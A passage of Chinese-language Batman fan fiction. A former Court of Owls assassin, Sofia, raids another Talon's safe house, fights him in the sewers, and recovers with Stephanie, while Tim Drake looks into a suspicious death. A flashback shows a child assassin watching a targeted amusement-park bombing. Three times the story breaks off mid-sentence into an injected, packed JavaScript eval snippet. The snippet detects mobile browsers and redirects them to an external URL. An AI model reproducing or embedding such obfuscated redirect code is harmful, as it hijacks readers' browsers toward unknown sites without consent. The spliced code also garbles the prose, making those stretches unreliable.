在吓唬詹姆斯的准备工作里，索菲亚已经摸清了哈里森家的结构，共计三层楼高，一楼是宴会厅，厨房，会客室，和仆人临时居住的房间，二楼才开始是这家的家庭成员的住所，比如詹姆斯和他的已经出嫁的姐姐的房间都在这一层。三楼则是哈里森先生和他妻子的房间，书房以及玻璃花房。 虽然不理解有钱人为什么要把花房装在顶楼，但是他们这么做一定有他们的大病。 整个房子大多数都采用了落地玻璃的设计，尤其是走廊，恐高症走在上面大概率会原地去世，以及夏天的话估计会摇身一变成为桑拿房，平等的毒打每一个经过的人。 摸黑在书房里开始搜查，首先按照大多数密室思路，找到由书本控制打开的密室，其次钻进体积不大的密室撬开保险箱。 听着耳边保险箱内齿轮的细微变化，索菲亚打开保险箱，结果只发现了哈里森藏起来的珠宝和金条。 真的是很古早的藏宝模式，从内容到形式都如出一辙的刻板。 如果利爪是为了这么点三瓜俩枣就跑这么远出外勤不是太没出息了吗？ 把书房扫了个遍，甚至找到了詹姆斯藏起来的小学时候的不及格卷子也没找到其他有用的纸质资料。 那很简单了，肯定藏在自己房间了。 拧开主卧的大门，又是一阵酣畅淋漓的扫荡，最后趴在床下在床板上看到了刚贴上没多久的明显是名单的文件时，索菲亚没忍住笑了出来。 不是，哥们。 你贴床底下是不是有点太有创意了，赌利爪不喜欢低头是吧。 把文件小心翼翼扯了下来卷成卷塞进口袋里，索菲亚沿原路离开。 好耶，下班。 文件的名单自然不可能是完整版，只是大致记下了几个外围人员，都是和哈里森一样是外地来的立足不久的勉强算得上新贵的人，只是这些人作用大点还没有被从猫头鹰法庭这个腐朽没用的团队里被优化出去。 除此之外，文件还标上了几个据点的位置，索菲亚对照着惊喜的找到了一个还没被搜刮过的好地方。 这个据点位于东区的贫民窟里，是所公寓，从规模来看更像是利爪自己准备的安全屋。 结合大多数利爪都老老实实在冰柜里cos冰美人的住宿状况，索菲亚合理怀疑这只利爪对法庭的忠诚实在岌岌可危。 顺着地址钻进其他猫头鹰好不容易搭出来的巢穴，虽然这地方不大也很潮湿，但看得出来主人很爱惜这里。 打扫干净的洗手间，洗手台上放了各类清洁用品，像是肥皂，洗发水，洗面奶，须后水之类的东西。 厨房同样干净，甚至找不到一只正在爬行的蟑螂，细看才能在角落里发现用于驱虫的蟑螂药。 冰箱里塞满了各类食物，大多都是些新鲜的蔬果和肉类，侧边还放着盒装的牛奶和酸奶，并非是全新的看得出来主人有来喝上几次。 隐藏武器装备的储藏间被放置在卧室的衣柜里，密室的门前还挂着带着洗衣液味道的熨烫整齐的衬衫和西装外套。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859241|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过看着被搜刮出的可用于替换的武器装备，一些现金，估计是从手指缝里抠出来的任务经费，让索菲亚实在难掩脸上的笑容。 太棒了，掏到了。 抖着翅膀兴奋无比的小猫头鹰还没来得及欢呼自己的胜利，便听到了门外传来的异响。下意识躲到视野盲区，此时门外之人的动作略有停顿，但还是不慌不忙的拿出钥匙开门。 锁舌伴随着钥匙的转动随之收缩，在门刚刚打开的一刹，索菲亚一个前滚，就在不久前的藏身之地正插着一柄飞镖。 好消息，不是蝙蝠镖或者罗宾镖。 坏消息，是前同事。 “是你。”黑发的男人瞳孔倏然放大，随后一拳挥了过来。 索菲亚向后闪过了袭击，但是找遍记忆也找不到关于男人的一点印象，就连那张文件里也没关于男人的只言片语。 这是个强壮高大的男人，黑色的头发被发胶打理的一丝不苟，西装下是双开门冰箱一样的身材，仅凭两人打照面的半分钟不到做出的反应就足够让索菲亚判断出来对方绝对是经受严苛训练且成绩优异的杀手。 更不巧的是，因为持续摆烂和报复性消费，索菲亚手里的能量储备比脸还干净，想通过系统使用速冻小魔法逃课的想法此时也被否定。 那只能用最后的一招了。 索菲亚抽出长刀，向对方劈砍而去，男人果然闪避之后顺势就要攻击，闪避之后少女看似还在不停的进攻，实际上却一步一步挪到了窗边。男人意识到索菲亚的意图，只是已经来不及了，索菲亚一个侧身拿刚薅到的刀砸开了玻璃一跃而下。 紧接着，便是利用勾爪枪迅速离开了男人的视线。 男人刚要追，就看到了街边驶过的闪着警报声的警车，肩上被砍出的伤口快速愈合，不过几分钟就完全不影响杀手的行动。在等待治愈的时间里，男人看着猫头鹰消失在夜色之中。 好不容易逃离战斗现场的索菲亚根本来不及休息就必须要转移阵地。 对方明显认识自己，那么贸然回家相当于自找死路，那么最省事的方式就是四海为家打游击，直到杀了对方以及销毁线索为止，是一场不折不扣的需要赌命的战斗。 而且当面在别人家零元购，哪个利爪受得了这么大的委屈，不把人细细的切成臊子就算得上慈悲为怀了。 当然，索菲亚也不是完全无伤通关。 搏斗过程中被抓住的手臂为了脱困强行扭成了脱臼，后续的战斗看似轻松其实已经痛出表情包了，纯靠全部遮面的猫头鹰面具才竭力保住了作为前利爪的偶像包袱。 咬牙把错位的关节掰回来，等到听到“咔嚓”的声音，索菲亚才勉强恢复了呼吸，冷汗顺着额头几乎流成小溪，嗓子干得要命，拿舌头舔湿嘴唇时才发现自己嘴里已经布满了铁锈味。 身体几乎脱力靠在废弃工地的墙面，脑子里还在思考之后脱困的策略。 思考的过程有些漫长，久到索菲亚几乎以为自己成了一尊雕像有望成为哥谭旅游打卡热门景点。 既然明面上有暴露身份的危险，那么转到暗处呢？ 那么最适合的躲藏之地已经出现了。 谢谢你，哥谭下水道。 受伤的猫头鹰拖着摇摇晃晃的身体，义无反顾的钻进了哥谭的地下世界。 15. 第 15 章 似乎已经是午夜了，哥谭的下水道有着自己独一套的光影系统，不管是阳光最毒的正午还是黎明前最黑暗的几分钟，在地下都没有太大的区别。 管道里的水流不间断的流过，连接的漏水处有水滴一滴一滴的滴下，发出滴答滴答的声响。 索菲亚摘去了手套，拿手捂着被划开一道狰狞伤口的喉咙，制服几乎被血洗，好在被改成黑色后不是那么显眼。过度失血的虚弱感席卷了索菲亚，但赖于自己身上不完全的猎魔人血统，使得这具身体持续进行自愈，保持在既不会因为失血过多而死，但也不会立马回复到全盛状态。 这位被偷家的利爪是个好手，面对疑似叛徒的另一位利爪，放弃了追杀寻常猎物时一刀毙命的习惯，而是以破坏对方行动能力为主，多次朝向大腿关节处攻击。 如果可以，这只利爪不介意把索菲亚分成几块带回去作为这个季度的业绩证明。 在下水道的猫捉老鼠游戏里，两人真正的战斗时间不过十几分钟，更多时候都抱着偷袭的想法在互相兜圈子。 鲜血把手心浸染的黏黏糊糊，好在猎魔人的药剂终于发挥了作用，创口处的细胞受到催化，孜孜不倦的修复着伤口，虽然算不上神速但好在止住了血，让索菲亚不至于因为区区失血过多像只老鼠一样狼狈死在下水道里。 这时索菲亚才意识到脑子昏昏沉沉不只是被割喉后的影响，被利爪按着脑袋磕在金属管道上大概率有些脑震荡的后遗症，似乎流了点血，不然自己的眼前怎么也是一片血红。 回去之后，头发一定很难洗。 索菲亚捻起一缕被鲜血粘在一起的头发放在鼻尖，却被垃圾腐烂后的气味夹杂着铁锈味袭击，几乎要被熏晕过去。 怎样才能从利爪手里离开？ 虽然自己不会那么容易死掉，但是被带回去大概还要被自愿加班，直到身体机能退化后成为被报废资产的一部分。 索菲亚比任何人都明白，没有用的杀手会有什么下场。 只依靠战斗就想脱身实在希望渺茫，必须想到其他能够说服对方的方法。 那他想要什么？ 金钱，权力，地位？ 可他并不缺钱，甚至在安全屋里都屯好了装备和金钱。 索菲亚大脑中似乎有灵光闪过，对，安全屋。 利爪和大多数杀手不同，作为被上位者完全控制的杀手，除去工作时间这些工具唯一的居住地只有冷冻装置之中，等到下一次被唤醒。而对方明显不是在工作状态，甚至能穿着常服回到安全屋。 等等，他是不是还买了日常用品，食物，日用品，换洗衣物，他不是因为工作那他为什么会买这些东西。他用的上这些东西对吗？ 他不是在工作然后回到安全屋内看到了利爪然后展开追杀。 唯一的解释无疑是，对方也有私心，想要离开只能作为工具存在的猫头鹰法庭。 那么接下来很简单了，说服他，然后离开，这样就够了。 熟悉的鞋跟声越来越近，利爪甚至有心情用臂弯擦拭长刀，那种对待猎物时游刃有余的感觉让索菲亚再熟悉不过。 “我没有恶意，至少现在没有，你不必担心我会告发你。” 索菲亚从藏身之地站了出来，举起双手表明没有武器。 “我为什么要听一个叛徒的话？”利爪没有停下脚步，而是一点一点拉近两人之间的距离。 “因为你也是。”索菲亚努力提起精神，放大了说话的声音。“除非你直接杀了我，不然我总会向他们报告你的反叛行为。” “你藏得并不好，即便利用那些猫头鹰杀了无意间发现了你的安全屋的哈里森，但他还是把你的秘密留了下来，即便他并没有意识到据点中藏着你的安全屋。” 索菲亚心里并没有底，换句话说自己也只能把知道的信息乱说一通，企图赌这就是真相。 “我杀了你一样可以隐藏秘密。” 话虽这么说，对方却停下了脚步。 “你做不到，我们都知道想杀掉一只利爪有多麻烦。现在你杀不了我，我也杀不了你，最好的办法就摆在你的面前。而我承诺永远不会出现在法庭面前，即便被抓也不会说出你的秘密，你还是可以追求你想要的东西。” “你怎么知道我想要什么？”利爪饶有兴趣的歪着脑袋听索菲亚说话。 “你准备了安全屋，准备了丰富的物资，甚至开始去购买远超生活所需的东西进行享受，包括黑胶唱片，留声机，冰箱里塞了新鲜肉类，厨房的储物柜里还放了除去盐和糖以外的调味料。” “你厌倦了法庭只能当工具的生活，想要离开，所以准备了很多。” “我并非有意进入你的安全屋，我和你一样，只是想离开法庭，重新拥有自己的生活。” 索菲亚注视着利爪，发现他的身体呈现放松状态，暂时没有攻击的意图。 “我们都知道，法庭玩不过蝙蝠侠不是吗？那群老爷们自以为是哥谭的统治者，可是金钱的大头仍然掌握在韦恩的手里，猫头鹰只能趴在地上吃些残羹烂饭。你要和这帮目中无人的家伙一起在即将要沉的邮轮上同归于尽吗？” “我只有一个要求，摘下你的面具，我需要知道自己的盟友是谁。”利爪沉声道。“你已经见过我的脸了。” “当然可以。”手指接触到面具的机关，随着“咔嚓”声，猫头鹰的面具被索菲亚拿在手上，露出那张被鲜血染红的却异常平静的脸。 金色的瞳孔在黑夜中格外显眼。 “我表示了我的诚意，也希望你能遵守约定。” “我会的。”利爪收起武器，转身离开。 从下水道钻出来的时候天还没亮，根据漆黑的程度索菲亚能判断出来大概是在日出前最黑的那段时间，估计在凌晨四点半左右。 跌跌撞撞的回到公寓，脱去了全身的装备一股脑塞进洗衣机，倒入致死量的洗衣液，少女才放心的进了浴室。 热水打在身上，将接近凝固的血液从皮肤上带走，血水顺着身体溶于地面。热水带来的舒适感让索菲亚加快的心跳终于平静了下来。 在和自己实力差不多的利爪面前强装镇定，靠那点零碎的信息现场胡编乱造实在过于考验人的心理承受能力，如今突然放松下来被压抑已久的困意反而袭来。 强打着精神坚持洗完澡，离开浴室时顺着客厅的窗户，泛红的朝阳透过玻璃打在地面，让索菲亚有些恍惚。 等等，那是太阳吗？ 不敢相信自己一个澡能洗接近两个小时，猫头鹰耷拉着脑袋无力的倒在床上。 好在斯蒂芬妮还没回来，不然一地血能把小金毛吓到尖叫。 这么难拖的地，斯蒂芬妮一定会杀了我的。 昏昏沉沉的睡下，但怎么调整姿势都算不上舒服。 喉咙处的伤口因为在愈合除了疼痛还在发痒，从窗户跳下时肩膀大概率也撞到了哪里，现在满是钝痛。被敲击过的后脑和额头又是不一样的疼痛，伤口愈合的速度也比不上致命伤的喉咙，过了几个小时还在源源不断的流血。 像是被扔进了洗衣机转了三个小时，脑袋昏沉的像是眼睁睁看二十只小丑拉着蝙蝠侠跳脱衣舞后被杀手鳄敲闷棍，翻身的时候浑身都像是被蝙蝠车碾过一样支离破碎。 同事，我永远恨你。 再次睁眼便是夕阳西下，猫头鹰好不容易把脑袋从柔软的被子里抬起来，却还是难以阻挡重力的阻碍，再次落到了枕头上。 赖过床的朋友都知道，醒来之后被疲倦支配躺在床上企图再睡一觉的时候，往往是最难以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859242|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入睡的时候。周边的声音无限被放大，没拧紧的水龙头滴水的声音，窗外车流穿过的鸣笛声，时针转动的响声全都沿着被子的缝隙钻进人的脑袋里。 其次就是，哪里都很痛。 被困难打倒的索菲亚再起不能，决定老老实实的躺下。 在哪里跌倒就在哪里躺下，至少很舒服。 人在傍晚醒来常常会有一种难以名状的孤独感，这种感情来源于原始社会时期在夜晚来临时孤身一人的恐惧感，随着文明的进化，这种求生的本能仍旧刻在每个人的DNA里。 打开手机，比起前几天信息多了很多。 蒂娜拍了她做好的笔记，还发了拉拉队演出的视频过来，金色的头发扎成马尾，深蓝色的短裙在风中飘扬，还有她脸上发自内心的笑容伴随着活力四射的音乐让索菲亚都忍不住放松了许多。 斯蒂芬妮的信息来自昨天入夜前，她的事情一时半会还没处理完，叫索菲亚在家自己玩，不要惹事被蝙蝠侠追着打。 唯独那个顶着侦探味十足的烟斗头像的信息，索菲亚装作没看到，退出推特去刷了几分钟短视频，才装作刚刚想起来的样子点开了对话框。 Drake：假期如何？ Drake：哈里森家的事你听说了吗？别担心，大概率只是意外，和你没关系。 Drake：等你复课，应该还赶得上做presentation，至少作业没有白做。 Sofia：你认为我会自责？ Drake：我不这么想。 Drake：不过我昨天刚请假了，今天就听到这个消息吓了我一跳。 Drake：看来下次我不能轻易请假了，不然小丑可能会把学校炸了 Sofia：你不舒服吗？ Drake：从楼梯上摔下来了，去医院的时候医生还一直追问我是不是遇到了校园霸凌。 Drake：你呢？过得怎么样？ Sofia：还不错。 其实是假的，被前同事打的一身伤现在这个躺在床上饿得要死，上吊都没有力气。但是对于关系比陌生人好一点的同桌，索菲亚也只愿意多说两句话罢了，除非问起没必要解释自己遇到了什么。 Drake：要打电话吗？我有话想和你说。 索菲亚还没反应过来，通话界面便弹了出来，突如其来的情况让手机差点被扔在地上。接通电话，过了几秒少年的声音才从话筒中传出。 “我实在看不出来你很好，连回复都很敷衍，不高兴吗？” “……还好。” 少年的声音有点沙哑，即便如此索菲亚还是能想象对方像只聪明的小猫一样眯眼说话的样子。 “真的吗？那我可要当真了。” “也没有，一点点不高兴吧。我也从楼梯上摔下来了，还磕到了脑袋。” “听起来已经很糟糕了，擦药了吗？” “还没来得及……” 这些疼痛明明在过去算不了什么，好同桌也并没有熟悉到倾诉这些话题的地步，但听着少年青涩的温和的声音，索菲亚的眼睛变得酸涩，鼻头也跟着荡漾着酸涩。 “其实不是什么大伤，但就是很不舒服。爬起来的时候本来想笑自己身体不协调的，但没忍住哭出来了。” 少年没有打断索菲亚，只是在电话那一头静静的倾听，时不时轻声回应。 “你做的很好了，现在给自己擦药吧，伤口早点愈合才不会带来疼痛不是吗？不知道你喜欢吃什么我点了份披萨，等会去拿好吗？” “……麻烦你了。” 索菲亚没咽下那句哽咽，一味的被淹没在情绪的浪潮里。 “没关系的。” “我们是朋友，不是吗，索菲亚？” 16. 第 16 章 提姆.德雷克的脑子要裂开了。 其一是导师蝙蝠侠去处理正义联盟的相关任务目前不在地球，哥谭的夜巡全靠刚刚上岗不到两个月的新手罗宾和临时上任蝙蝠侠的菜鸟警官夜翼。 诚然，迪克是一个幽默风趣懂得照顾他人的成年人，作为全哥谭小孩的童年偶像，能够和他一起行动本身是很愉快的一件事。 但是当看到阿卡姆的各位英雄好汉搞起了经典团建项目，在一场场爆炸中自在的离开了临时宿舍的画面时，还是让提姆心脏骤停。 阿卡姆精神病院改名叫阿卡姆公共厕所好了，反正都可以随便进出。 哦对，公共场所还要交钱才能上，阿卡姆甚至不需要交钱。 两个人年纪差不了太多的年轻人依靠着钩爪枪在哥谭大街小巷追捕四散而逃的各类犯人。 即便如此，蝙蝠侠（夜翼临时版）看到谜语人留下的一长串谜语时还是眼前一黑。 “我知道杀人不好，但我真的想把谜语人炖了。” 不愿意透露姓名的夜翼留下了这样的话语，又继续领着新弟弟满哥谭去踢罪犯的屁股，并依靠对于各位老熟人的了解，抓到了抢银行的双面人，在化学工厂企图投毒的稻草人，背着酱料桶物理精神双重攻击义警让全程洗衣机都被迫加班的酱料王等数人。 面对着即将升起的太阳，提姆从来没觉得黑夜这么漫长。 被阿福勒令回家休息，提姆只能放下手中的咖啡杯老老实实的回到自己的房间躺在床上昏迷一样的睡了过去。 哦对，其二当然是哈里森家发生的事。詹姆斯的爸爸约翰逊.哈里森被发现从自家书房坠亡，现场没有打斗痕迹，并且没有财物丢失的情况发生，被GCPD定性为意外事件。 唯一需要注意的是，詹姆斯疑似目睹案发现场，受到过度惊吓后几乎丧失神志，只是嘴里不断的念叨着“猫头鹰”的字眼。 哥谭虽然被吐槽人才辈出，但是和猫头鹰有关系的反派或者义警提姆的脑子里只有那夜和另一名蒙面人一起出现的带着猫头鹰面具的人。第一次接触时，提姆能感受到猫头鹰没有很强的攻击性，对待同伴的态度也称得上平和，但是不排除对方和哈里森家有矛盾从而痛下杀手的可能性。 提姆也换上罗宾的制服去医院询问了詹姆斯相关的情况，但他明显受惊过度即便看到和猫头鹰几乎没有共同点的罗宾都吓的失声尖叫。 “别怕，詹姆斯，这里没人能伤害你。” “……被盯上了，猫头鹰在盯着……盯着我。”几天前还颇有精神的青年用医院附赠的白色被子把自己裹得像个蚕蛹，只露出一个头在窗户之间来回的摆动。 “咔嚓，猫头鹰在拍照，是遗照吗？”詹姆斯将脑袋重新收回被子中瑟瑟发抖。 “是什么样的猫头鹰？很高大吗？”罗宾从窗口翻了进来，逐渐接近眼前有些神经质的青年。 “很高，非常的大，张开翅膀比天还大。”詹姆斯的声音穿过被子显得有些沉闷“从天上掉下来，爸爸，从天上掉下来。” 罗宾弄懂了詹姆斯混乱的话语里真正想表达的东西。 哈里森先生先从书房坠亡，正巧被詹姆斯所目击，之后这位所谓的猫头鹰杀手也从书房落下，不过不同的是猫头鹰选择这条路线是为了离开。 而目睹了父亲死亡和凶手逃逸画面的詹姆斯，成为了大家眼里被吓傻的疯子。 那只猫头鹰并非是唯一的解密思路，另一个思路自然是哥谭经典骗小孩早点睡觉都市传说——猫头鹰法庭。 只听童谣只会觉得这完全就是那种，随时随地蹲在别人家门口，一旦被发现了，就会恼羞成怒气急败坏杀人灭口的邪恶组织。 还在训练时，提姆曾经问过自己的导师哥谭是否真的存在这样的组织，得到了导师亲身经历的一个故事。 那时的布鲁斯韦恩并不相信父母的死只是由巧合组成的悲剧，坚定的认为一定有什么隐藏在黑暗中的神秘力量除去了挡路的韦恩夫妻。排除了彼时哥谭最为肆虐的□□后，幼小的布鲁斯韦恩坚信一定是传说中的猫头鹰法庭杀死了自己的父母。 在少年经历的第一个险些付出生命的致命错误后，未来的蝙蝠侠在那个空荡荡的阁楼里否定了猫头鹰法庭的存在。 理智上，提姆不会质疑导师，但是少年并不愿意相信猫头鹰法庭并不存在这一事实。 一觉醒来，少年检查了收到的邮件，并挨个回复。 索菲亚回复了自己昨天发送的信息，只是比起以往机关枪一样频繁回复的样子，今天的回复只能让提姆幻视自己无精打采蔫蔫巴巴的同桌。 只是少年在拨通电话的那一刻，还没意识到自己是不是过于冲动，听筒里往日活泼异常的少女过很久才回应几句话，如同提姆预料般那样遇到了点问题。 听到少女讲到受伤的经历，提姆身上新添的伤口也跟着一起发痛。和猫头鹰见面那天被撞出的淤青刚好的七七八八，昨天夜巡就在和丧钟的搏斗中挨了一刀。好在伤口不深，在蝙蝠洞里迪克帮忙缝合了伤口。 吃了止痛药肩膀都还在持续疼痛，不敢想象蝙蝠侠是怎么做到不使用麻药的情况下给自己缝合伤口的。 电话那头的语气逐渐开始哽咽，少年放轻语气听少女的倾诉。 很神奇，提姆自认为自己不是怪人，但是和朋友在短时间进展到这样的关系还是有些陌生。大多数时候少年总是保持礼貌和教养，和人保持基础的算得上友好的关系，而索菲亚是一个例外。 她有自己的秘密身份，是会和魔物战斗的猎魔人。 某个角度她和提姆仿佛处于一样的环境中，和所有人都保持距离感，独自蹲在角落，静静的观察。 “没关系的，索菲亚，我们是朋友。” 提姆听到自己的回复，没错，索菲亚是自己的朋友，比普通同学关系好上一点的朋友，所以自己愿意拿出更多的耐心和精力陪伴自己的朋友。 因为，他们是朋友。 没过几天，斯蒂芬妮叽叽喳喳的回来了，只是搅局者没走寻常路，蹲在窗台敲窗户吸引索菲亚的注意。 “我回家了一趟想找找关于那个人的线索，但那个人很久没回来了。原本打算走的，结果遇到阿卡姆组团逃院，眼看着蝙蝠侠和罗宾要累死了，我就顺便帮忙揍了几个小喽啰扔到GCPD门口去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859243|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “……”索菲亚没回话，努力保持一个不会扯到伤口的姿势躺着。 “怎么这么无精打采的，让我看看。”斯蒂芬妮摘下兜帽，顺手把面具放在餐桌上，把索菲亚从被子里挖了出来。 “怎么这么可怜，我们小猫头鹰怎么脑袋都破了，谁那么过分。” “前同事。”索菲亚从牙缝挤出几个字，靠在了斯蒂芬妮怀里。“不过我俩约定好了，之后就当不认识。” “所以哥谭不只有你一只猫头鹰？你们有个猫头鹰大家族？”斯蒂芬妮将索菲亚毛茸茸的脑袋往胸前按了按“等等，你说的猫头鹰大家族不会是猫头鹰法庭吧，我以为是骗小孩的东西呢。” “是现实存在的东西，不过很烂，对离职员工非常不友好，我希望蝙蝠侠下个月能开盾构机把猫头鹰法庭犁一遍。” “那很棒了，我现在就开始许愿蝙蝠侠明天上午就捣毁猫头鹰法庭，下午就去炸掉阿卡姆，晚上顺手把我那个人渣爹扔进监狱。完美！” 斯蒂芬妮放开了脑袋被揉得凌乱无比的索菲亚，进了客厅在冰箱里找吃的东西。 “索菲，你不会还没吃东西吧。” “嗯。”索菲亚从床上爬起来，牵动到伤口疼的龇牙咧嘴，生理性的泪水片刻就盈满了眼眶。“太疼了懒得起床。” “那还得看我的。” 说罢，斯蒂芬妮连制服都没来得及脱就从厨房找到了点食材，叮呤咣啷的煮起了意面。 番茄被加工后和肉酱混在一起的香味，似乎还有些奶香的味道，应该是加了些奶酪。 斯蒂芬妮很喜欢奶酪，索菲亚也很喜欢。 小麦制成的意面在大锅里被不断加热，锅盖被沸腾的水汽一次次敲击，斯蒂芬妮不慌不忙的掀开锅盖放在一旁，用大勺子搅动着面条。 又是冰箱被打开的声音，电器发出“滴”的响声，索菲亚几乎能想象得到冷藏室扑面而来的凉气是如何和保存好的蔬菜水果一起浸润人的感官的。 酱汁被浇在过了凉水的意面上，金发的少女还加了些芝士碎，在叉子的搅拌下彻底融入带着番茄酸甜味道的餐食之中。 索菲亚一步一步挪到了餐桌前，将食物不断的送进口中，接近三十个小时没有进食，又身受重伤，此时此刻对于食物的渴求让她无暇顾及其他琐事。 “你的脖子怎么了？也受伤了吗？”斯蒂芬妮发出惊叹“猫头鹰法庭的利爪都下手这么狠吗？再用点力就算斩首了。” “唔嗯，利爪都是这个风格，力图一击致命。如果是我找到机会，也会这么对他。”索菲亚咽下嘴里的食物解释到“已经好很多了，你看已经结痂了，根据我的恢复速度估计返校前连条印子都留不下来。” “但还是很疼不是吗？我要是早点回来就好了，至少我还能帮你缝合伤口。” 斯蒂芬妮用手指抚摸过如同蚯蚓一样盘踞少女整个喉管皮肤的血痂，不免有些失神。 “至少你身边应该有人在。” “没关系的。” 索菲亚抓住斯蒂芬妮的手，将脸颊放在同伴温暖的掌心轻轻磨蹭。 “你来了，我就会很高兴。” 17. 第 17 章 被斯蒂芬妮再次抱进怀里的索菲亚实在没敢接上没说出口的半句话。 “没关系的，那个时候提姆在陪我。” “提姆是哪个野男人，你不爱我了吗索菲？” 斯蒂芬妮拥抱的力度加重了几分，勒到了少女的伤口，索菲亚倒吸一口凉气。 “是我的同桌，在学校帮了我很多。”索菲亚用手理了理头发，手指下意识的转动着一缕碎发，眼神左右飘忽不敢直视少女的眼睛。 “哦？真的吗？你不会背着我和这小子恋爱了吧。”少女蓝宝石一样的眼睛带着审视和质疑。 “不，我们比恋爱关系还要亲密。”索菲亚反客为主抓住斯蒂芬妮的肩膀。 “嗯？” “我们是好朋友。” 斯蒂芬妮愣在原地，困惑的瞪圆了眼睛，在房间里走了一圈又一圈也没想明白其中的逻辑，显得十分无助。 自觉善解人意的索菲亚抱住了企图通过运动消除迷惑的同伴，眨巴着眼睛努力透露出无辜和真诚。 “斯蒂芬妮，你是不一样的，你是超级无敌好朋友。” 斯蒂芬妮金色的头发自然垂在肩膀上，带着柑橘味洗发水的味道，看着眼前金色的圆眼睛的女孩努力解释的样子，终于是没有忍住笑了出来。 “索菲，你是幼儿园小朋友吗？我上小学都不会有超级无敌好朋友了。” “那你现在有了，就是我。” 索菲亚看着眼前的少女从捧腹大笑慢慢变得严肃，这才后知后觉地意识到疼痛。 “裂开了裂开了，你不要乱动啊。对不起对不起我不该逗你的。”斯蒂芬妮尖叫着冲进洗手间翻出来医药箱扒开同伴的衣服就开始紧急上药。 酒精和药物的味道格外的刺鼻，索菲亚蔫巴地坐在床上，几处伤口都被不够熟练的斯蒂芬妮包的严严实实，随时可以去埃及cos木乃伊。 “你的脖子怎么办，看起来好痛。” “我的体质会优先治愈致命伤，其他的小伤口反而会恢复的很慢。”索菲亚摸了摸绷带，能感觉到汗水粘在身上黏糊糊的感觉。“是不是包的有点厚，好热。” 两个人躺在一张床上空调打到最低，裹着被子开始瞎扯。斯蒂芬妮讲她爸爸如何进了监狱，妈妈怎样艰难把她养大，那个不靠谱的爹即使出狱依旧不老实还在梦想着搞个大的出人头地，到头来还只是连阿卡姆都不配进的小喽啰。 索菲亚和父母相处的时间少的可怜不知道该说点什么，就干脆把《黑暗骑士》的剧情拆开给斯蒂芬妮讲，不过除去了布鲁斯韦恩出场的画面，斯蒂芬妮听的一愣一愣过了一会才反应过来哥谭没发生过这样的故事。 索菲亚老实的点了点头。 “对，是我编的。” 不过这故事好歹也是蝙蝠侠电影的经典之作，听起来确实刺激非凡。 “我也好想做义警，听起来真的很酷，哥谭哪个小孩不想做罗宾呢？” “搅局者怎么不算是义警？” “那你呢索菲亚？你想成为什么样的人呢？” “不要惧怕人类，索菲亚。”男人没有穿装备，难得穿了常服出门，是标准的夹克配西裤的搭配。“你看，人类很脆弱不是吗？” 游乐园里，满是尖叫和惊恐的哭泣，警笛声格外刺耳，人群四处逃窜。年幼的女孩被逃跑的人撞了一下，只是晃了下身体，便重新保持了平衡，冷眼看着人群的挣扎。 黑色的美瞳在眼眶里并不舒服，女孩试图通过眨眼缓解眼睛的不适，险些被导师丢在原地。 几分钟前，女孩还在摩天轮上看天空阴云密布的景象，而男人则悠哉悠哉的给摩天轮的轿厢安装□□。根据计算，任务目标会为了补偿错过他上小学的儿子女儿的生日而坐上这个轿厢。 摩天轮下，在目标前后排队的大多都是审判庭安排好的人，只为了让这家人坐上摩天轮后被炸弹送走。 当然，如果目标临时更改了项目也没关系，目标的两个孩子最大的不过七岁，远远不到能乘坐过于刺激的大型项目的身高，剩下的项目基本都提前安装了炸弹未雨绸缪。 不过，这家游乐园最大的噱头就是缓慢行进的能够在天空中观看美丽夜景的巨大摩天轮，那些猫头鹰兢兢业业的给目标周围的人精准的发了半个月广告就为了让目标按照计划死去。 索菲亚趴在玻璃前，目不转睛的盯着目标，被目标牵着的两个孩子脸上挂着的笑容让女孩难以理解。 同时，猫头鹰的视线格外有存在感，那种打量狗或者猫一样的眼神刚开始还会让索菲亚感到不适，经过几年的锻炼后索菲亚已经能够做到熟视无睹了。 在索菲亚第一次杀人的那天，猫头鹰第一次报出自己的名字，他说他是阿尔伯特，是索菲亚永远的主人。 任务完成的很顺利，伴随着硝烟和尖叫，索菲亚看到了轿厢里不断流出的血肉，轿厢卡在最高处连救援都很困难，无数人只能眼睁睁的看着这三人慢慢死亡。 “抱歉警官，我们也不知道发生了什么，我的小女儿被吓坏了我们得立马离开了。”阿尔伯特装模作样的摆出慈父的模样，把索菲亚抱在怀里。 而索菲亚则一直看着高悬在天空上的轿厢距离自己越来越远，直到消失在视野中。 第一缕阳光穿过窗帘的时候，索菲亚已经醒来了。在这个时间段睡在自然醒在平时实在是太过罕见，除非被闹钟强制叫醒上学，大多数时候少女睁眼时往往要接近中午。 斯蒂芬妮醒的会早很多，她没打算在抓到线索大师前继续学业，干脆在学校办理了休学。 